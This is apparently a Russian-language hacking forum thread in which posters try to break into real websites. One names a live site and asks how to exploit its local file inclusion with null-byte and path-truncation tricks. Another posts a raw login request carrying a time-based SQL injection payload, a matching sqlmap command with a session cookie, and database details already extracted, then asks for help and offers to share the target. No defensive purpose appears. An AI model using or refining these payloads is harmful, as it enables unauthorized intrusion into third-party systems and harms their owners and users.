↑
Должен sqlmap -u site.com/login/ --form пробуйте

↑
А если нуль-байт экранируется (%00) то он должен в ошибке выглядеть так (\0.php) а если его нет в ошибке то он обрезает расширение?
Просто есть еще сайт одной популярной игры,там аналогичная ситуация как и с сайтом
http://hotel-stalingrad.ru/index.php?page=cafe
там так же инклудятся локальные файлы как и c этим сайтом
На сайте игры стоит php 5.4.45 apache 2.2.2
Перечитал уже все сайты о php include так и ничего кроме нуль-байта и [4096] слешей не нашел.
Но я так понял что [4096] слешей не работают с php версией 5.4.45

↑
Вот я и говорю мож не те параметры задаю((
POST /admin/login/ HTTP/1.1
Cache-Control: no-cache
Referer:
https://site.com/admin/login/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
Cookie: PHPSESSID=lh4frmkpuqpgcob5dkqkv9ddq6; id=1481028712634
Host: site.com
Accept-Encoding: gzip, deflate
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
username=%27%2b((SELECT+1+FROM+(SELECT+SLEEP(25))A ))%2b%27&password=&login=Login
sqlmap.py -u
https://site.com/admin/login/
--data=username=%27%2b((SELECT+1+FROM+(SELECT+SLEEP( 25))A))%2b%27&password=&login=Login --cookie=PHPSESSID=lh4frmkpuqpgcob5dkqkv9ddq6; id=1481028712634 --random-agent
что тогда здесь не так?

↑
да всё равно [17:20:42] [WARNING] POST parameter 'username' is not injectable
какие только параметры не задавала((
VERSION 5.5.47-MariaDB
DB site_com
USER site_com
всё что узнала(

↑
скуля есть что параметре username что в password
могу скинуть сайт, если подскажете